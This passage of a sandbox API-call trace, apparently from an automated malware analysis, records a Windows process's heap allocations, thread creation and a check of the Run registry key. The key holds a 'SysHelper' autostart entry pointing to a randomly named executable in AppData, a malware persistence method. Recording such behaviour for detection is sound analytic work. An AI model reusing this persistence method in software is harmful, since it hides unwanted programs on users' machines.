Size=0x860) returned 0x60a5b28 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc924b68 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91a0d0 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91a958 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc9253d0 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc925c18 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc91b1e0 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc91ba68 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc91c2f0 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91cb78 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91d400 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91dc88 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc91e510 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc91ed98 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91f620 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc91fea8 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc926460 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc926cc8 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc920730 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc920fb8 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc921840 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc927530 [0051.913] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc927d78 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc9220c8 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc922950 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc9231d8 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc923a60 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc9285d8 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc928e60 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc9296e8 [0051.914] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc929f70 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92a7f8 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc9385c0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc938e28 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92b080 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92b908 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc92c190 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc939690 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc92ca18 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc92d2a0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc92db28 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc92e3b0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92ec38 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92f4c0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc92fd48 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc9305d0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc930e58 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc9316e0 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc939ed8 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0xc93a740 [0051.915] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc931f68 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc9327f0 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc933078 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc933900 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc934188 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc934a10 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc935298 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc935b20 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc9363a8 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc0) returned 0x6029c20 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc936c30 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93afa8 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93b7c0 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc9374b8 [0051.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93bff0 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93c878 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93d100 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0xc93d988 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089668 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc93e210 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc93ea98 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc93f320 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc93fba8 [0051.917] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x110) returned 0x60bfec8 [0051.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41ee40, lpParameter=0x60a7b70, dwCreationFlags=0x0, lpThreadId=0x606e3e0 | out: lpThreadId=0x606e3e0*=0xac0) returned 0x68c [0051.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41fa90, lpParameter=0x529238, dwCreationFlags=0x0, lpThreadId=0x529230 | out: lpThreadId=0x529230*=0xac4) returned 0x690 [0051.918] GetMessageW (in: lpMsg=0x18de68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18de68) returned 1 [0063.883] NtdllDefWindowProc_W () returned 0x0 [0063.884] NtdllDefWindowProc_W () returned 0x0 [0063.899] NtdllDefWindowProc_W () returned 0x0 [0063.899] NtdllDefWindowProc_W () returned 0x0 [0063.899] NtdllDefWindowProc_W () returned 0x0 [0063.900] NtdllDefWindowProc_W () returned 0x0 [0063.900] NtdllDefWindowProc_W () returned 0x0 [0063.900] NtdllDefWindowProc_W () returned 0x1 [0063.902] NtdllDefWindowProc_W () returned 0x0 [0063.913] NtdllDefWindowProc_W () returned 0x0 [0063.914] NtdllDefWindowProc_W () returned 0x0 [0063.914] NtdllDefWindowProc_W () returned 0x0 [0063.915] NtdllDefWindowProc_W () returned 0x3 [0063.915] TranslateMessage (lpMsg=0x18de68) returned 0 [0063.915] DispatchMessageW (lpMsg=0x18de68) returned 0x0 [0063.915] GetMessageW (in: lpMsg=0x18de68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18de68) returned 0 [0063.915] NtdllDefWindowProc_W () returned 0x2 [0063.915] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c580 | out: phkResult=0x18c580*=0x6f0) returned 0x0 [0063.915] RegQueryValueExW (in: hKey=0x6f0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c57c, lpData=0x18aca8, lpcbData=0x18c560*=0x400 | out: lpType=0x18c57c*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", lpcbData=0x18c560*=0xe0) returned 0x0 [0063.916] RegCloseKey (hKey=0x6f0) returned 0x0 [0063.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xe0) returned 0x604faa8 [0063.916] lstrlenA (lpString="\" --AutoStart") returned 13 [0063.916] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0xc95f648 [0063.916] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x604faa8 | out: hHeap=0x3500000) returned 1 [0063.916] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 1 [0063.916] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc95f648 | out: hHeap=0x3500000) returned 1 [0063.916] IsWindow (hWnd=0x1901b8) returned 1 [0063.916] DestroyWindow (hWnd=0x1901b8) returned 1 [0063.916] NtdllDefWindowProc_W () returned 0x0 [0063.916] NtdllDefWindowProc_W () returned 0x1 [0063.918] NtdllDefWindowProc_W () returned 0x0 [0063.918] NtdllDefWindowProc_W () returned 0x0 [0063.918] NtdllDefWindowProc_W () returned 0x0 [0063.918] NtdllDefWindowProc_W () returned 0x0 [0063.918] NtdllDefWindowProc_W () returned 0x0 [0063.918] PostQuitMessage (nExitCode=0) [0063.924] NtdllDefWindowProc_W () returned 0x0 [0063.924] CloseHandle (hObject=0x630) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60080e8 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fab8 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f680 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f0e0 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f838 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f8d8 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606eb90 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084508 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084540 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fae0 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f720 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606ec30 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606ee88 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606eca8 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f018 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f6f8 | out: hHeap=0x3500000) returned 1 [0063.924] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084578 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60845b0 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f068 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f658 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606ee10 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f4c8 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f090 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f298 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f220 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606eeb0 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60845e8 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084620 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f360 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606ef78 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fb08 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fb30 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fb58 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fb80 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fba8 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fbd0 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084658 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084690 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fbf8 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fc20 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fc48 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fc70 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606fc98 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a3188 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090930 | out: hHeap=0x3500000) returned 1 [0063.925] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5fee700 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6028150 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605eb48 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60970c0 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097108 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60975d0 | out: hHeap=0x3500000) returned 1 [0063.926] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097588 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x604fc78 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3553d80 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606e3d8 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3521ef0 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x352f838 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90e6b8 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90ef40 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc914b80 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc915408 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089598 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90d5a8 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a3a60 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bb448 | out: hHeap=0x3500000) returned 1 [0063.927] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bc4b0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9121f8 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc914350 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a7350 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a6b38 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35e5578 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60aa3f0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60ab450 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60abc88 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60ac4c0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60accf8 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60add70 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60ad530 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60aac18 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60aee00 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b06f0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b1370 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60ae5b8 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b1ff0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60afe88 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b3060 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b2818 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b38a8 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b40e0 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b4918 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b5140 | out: hHeap=0x3500000) returned 1 [0063.928] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b5968 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b6190 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b69c8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b7200 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc900060 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b8280 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b8f00 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9008e8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc901170 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b7a28 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc910048 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60ba3c8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60af648 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60b9b80 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bac10 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9019f8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc902280 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc903390 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bbc78 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bcce8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc903c18 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60be5c8 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bf248 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9044a0 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc904d28 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bd520 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc910890 | out: hHeap=0x3500000) returned 1 [0063.929] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9110d8 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9055b0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc905e38 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9066c0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc902b08 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9077d0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc908058 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc906f48 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc909168 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9099f0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc912a50 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9136d0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90a278 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90ab00 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90b388 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bdd58 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90bc10 | out: hHeap=0x3500000) 